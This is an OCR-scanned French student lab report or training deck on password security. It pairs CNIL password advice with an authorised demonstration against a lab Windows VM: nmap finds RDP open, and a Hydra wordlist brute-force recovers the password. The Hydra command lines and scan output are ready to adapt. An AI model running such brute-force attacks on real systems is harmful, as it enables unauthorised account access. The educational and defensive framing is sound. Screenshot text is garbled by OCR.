TP B3: Identifer les menaces
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Audit sur mot de passe:

Au cours de cette présentation
nous allons voir [l'importance
d'utiliser un mot de passe fort
POUr VOS Sessions.

Voici un rappel sur les bonnes pratiques a adopté pour votre mot de passe:

Mot de passe fort : Selon votre préeférence, vous pouvez choisir parmi ces trois
recommandations de la CNIL pour avoir un mot de passe sécurisé :

* 12 caracteres avec majuscules, minuscules, chiffres et caracteres spéciaux
* 14 caracteres comprenant des majuscules, des minuscules et des chiffres
* Une phrase avec au minimum 7 mots.

Gestionnaire de mots de passe : Plutot que modifier tres legerement le mot de
passe que vous avez retenu, utiliser cet outil peut vous permettre de retenir
plusieurs mdp fort. Ex ZeniPass

Authentification a deux facteurs : L'authentification a deux facteurs garanti une
meilleure sécurité et est recommandé par la CNIL. Il s'agit le plus souvent d'un
code a renseigner que vous avez regu par mail ou SMS aprés avoir entré votre mot
de passe. Ex : Microsoft Authentificator




Presentationde la
formation :

Au cours de cette formation un
hacker éthique ou White hack
va cracker le mot de passe d'une
session Windows.

Cette formation est a caractére éducatif, elle est réalisée avec |'accords de la
direction et des personnes présentes.

La session Windows que I'on va cracker a été créé spécialement pour I'occasion
sur une VM, ce n'est pas celle d'un employé.

Cependant, les méthodes présentées lors de cette formation sont les mémes
utilisées par un black Hat, un hacker malveillant.

Avertissement : reproduire ces méthodes sans les autorisations nécessaires vous
exposent a des risques juridiques.




Creationde laVM::

On utilise le logiciel Virtual Box et
I'on crée une VM Windows 10 Pro,
en acces par pont.
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Creéation du login et mot
de passe:

On définit un login et un mot de
passe pour simuler une session
d'un utilisateur.

Dans cette formation on ne
cherche que le mot de passe mais
un hacker peut également
reprouver votre login avec les
mémes methodes.

Qui sera amené a utiliser ce PC ?

Quel nom voulez-vous utiliser ?

Creer un mot de passe facile a retenir

Vérifiez que vous choisissez quelque chose dont vous vous souviendrez sans faute.

R



<~ Paramétres — O -

Configuration du bureau a @ Aecuel Bureau a distance

d Istance: Rechercher un paramétre pe Le Bureau & distance vous permet de vous connecter 4 ce PC et de le
contréler & partir d'un appareil & distance a l'aide d'un client Bureau a
distance (disponible pour Windows, Android, i05 et macOS). Vous

Systéme o : : . T
pourrez travailler 3 partir d'un autre appareil comme si vous travailliez
HF A direct t PC.
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Machine de l'assaillant :

Le hacker va utiliser une VM Kali,
c'est une distribution Linux
spécialisé dans la cybersécurité.

On installe remmina qui permet
de se connecter a distance a la
VM Windows.

sio@kali: ~
File Actions Edit View Help

~

install remmina
[sudo] password for sio:
Upgrading:

Installing:

Installing dependencies:

w

uggested packages:

libcudal remmina-plugin-exec remmina-plugin-twmw
libnvcuvidl remmina-plugin-kwallet remmina-plugin-x2go
libnvidia-encodel remmina-plugin-python

freerdp3-x11 remmina-plugin-spice

Summary :
Upgrading: 9, Installing: 14, Removing: @, Mot Upgrading: 1886
Download size: 11.9 MB




Scan des failles :
/nmap.org ) at 2024-12-13 09:44 CET

C
« I

On utilise la commande nmap Not shown: 996 close Fcp ports (conn-refused)
avec I'IP de la VM Windows pour POR STATE S

connattre les ports ouverts sur la 33/ LCp - open  msrpc
139/tcp open netblos

machine. b cp open microsoft-ds

)/tcp open ms-wbt-server

Mmap done: 1 IP 5 (1 host up) scanned 1n 18.6@ seconds
Le protocole 3389 pour le RDP

(acces au bureau a distance) est
bien ouvert.
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hydra -s 3389 -l sio -P fhome/siofDesktop/small.txt -t 16 192.168.60.54 r...
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ydra -s 3389 -Lsio -P /home/sio/Desktop/small.bxt -t 16 192.168.60.54 r...




Y 2 xHydra

3] Quit

Target Passwords Tuning Specific Start

Output
Hydra v9.5 (c) 2023 by van Hauser/THC & David Maciejak - Please do not use

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2024-12-13 C
[WARNING] the rdp module is experimental. Please test, report - and if possi
[DATA] max 4 tasks per 1server, overall 4 tasks, 102 login tries (1:1/p:102), ~2
[DATA] attacking rdp://192.168.60.54:3389/

[WARNING] rdp servers often don't like many connections, use -t 1or -t4 tor
[INFO] Reduced number of tasks to 4 (rdp does not like many parallel conneci
[3389][rdp] host: 192.168.60.54 login:sio password: sio2024
<finished>

Start Stop Save Output Clear Output

hydra -s 3389 -l sio -P /fhome/sio/Desktop/small.txt -t 16 192.168.60.54 r...
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Remote Connection Profile
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Quick Connect
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TP4 B3 [En Fonction] - Oracle VM VirtualBox

ichier Machine Ecran Entrée Périphériques Aide
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